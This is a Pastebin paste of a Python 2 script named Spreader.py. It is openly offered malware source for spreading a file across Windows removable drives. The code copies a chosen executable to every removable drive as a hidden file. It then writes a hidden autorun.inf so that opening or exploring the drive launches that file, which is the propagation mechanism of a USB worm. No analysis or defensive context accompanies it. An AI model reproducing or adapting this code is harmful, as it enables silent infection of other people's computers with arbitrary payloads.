OrphanSec

Spreader.py

Apr 13th, 2015
252
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.03 KB | None | 0 0
  1. #written by Whiz  
  2. # 'whiz88mtn'@skype
  3. import win32api
  4. import win32con
  5. import win32file
  6. import sys
  7. import os
  8.  
  9. class Spreader(object):
  10.     def __init__(self, path):    # path debe ser absoluto
  11.         print " [*] Checking information"
  12.  
  13.         self.filename = path.split("\\")[-1]
  14.         self.driveFilename = self.filename
  15.        
  16.         if not self.driveFilename.startswith("~"):
  17.             self.driveFilename = "~" + self.driveFilename
  18.  
  19.         print "\t- Local filename: " + self.filename
  20.         print "\t- Driver filename: " + self.driveFilename
  21.        
  22.         self.path = "\\".join(path.split("\\")[:-1]) + "\\" + self.filename
  23.  
  24.         print "\t- Full path: " + self.path
  25.  
  26.         print "\n [*] Getting removable drives"
  27.         self.drives = self.__getRemovableDrives()
  28.  
  29.         if len(self.drives) == None:
  30.             print " [-] No removable drives available"
  31.             sys.exit()
  32.  
  33.         for drive in self.drives:
  34.             print "\t- " + drive
  35.  
  36.         print "\n [*] Spreading"
  37.         self.__spread()
  38.  
  39.         print "\n [+] Successfully spread"
  40.  
  41.     def __getRemovableDrives(self):
  42.         removableDrives = []
  43.         drives = win32api.GetLogicalDriveStrings().split("\000")[:-1]
  44.  
  45.         for drive in drives:
  46.             driveType = win32file.GetDriveType(drive)
  47.            
  48.             if driveType == win32file.DRIVE_REMOVABLE:
  49.                 removableDrives.append(drive)
  50.                
  51.         return removableDrives
  52.  
  53.     def __spread(self):
  54.         for drive in self.drives:
  55.                        
  56.             if drive == "A:\\":
  57.                 continue
  58.            
  59.             else:
  60.  
  61.                 driveFile = drive + self.driveFilename
  62.                 driveAutorun = drive + "autorun.inf"
  63.  
  64.                 print " [+] " + drive
  65.            
  66.                 if not os.path.exists(driveFile):
  67.                     self.__copyFile(driveFile)
  68.                    
  69.                 if not os.path.exists(driveAutorun):
  70.                     self.__createAutorun(driveAutorun)
  71.  
  72.     def __copyFile(self, driveFile):
  73.         print "\t- Copying file: " + self.driveFilename,
  74.         win32file.CopyFile(self.path, driveFile, 0)
  75.         print "\t\t\tDONE"
  76.  
  77.         print "\t- Hidding file",
  78.         win32api.SetFileAttributes(driveFile,\
  79.                                    win32con.FILE_ATTRIBUTE_HIDDEN)
  80.         print "\t\t\tDONE"
  81.  
  82.     def __createAutorun(self, driveAutorun):
  83.         print "\t- Creating autorun.inf",
  84.         autorun = open(driveAutorun, "w")
  85.         content = """[Autorun]
  86. open={0}
  87. icon={0}
  88. label=Python Spreader
  89. UseAutoPlay=1
  90. action=Start my App
  91. action=@{0}
  92. shell\open=Open
  93. shell\open\Command={0}
  94. shell\explore=explore
  95. shell\explore\command={0}""".format(self.driveFilename)
  96.         autorun.write(content)
  97.         autorun.close()
  98.         print "\t\t\tDONE"
  99.  
  100.         print "\t- Hidding autorun",
  101.         win32api.SetFileAttributes(driveAutorun,\
  102.                                    win32con.FILE_ATTRIBUTE_HIDDEN)
  103.         print "\t\t\tDONE"
Advertisement
Add Comment
Please, Sign In to add comment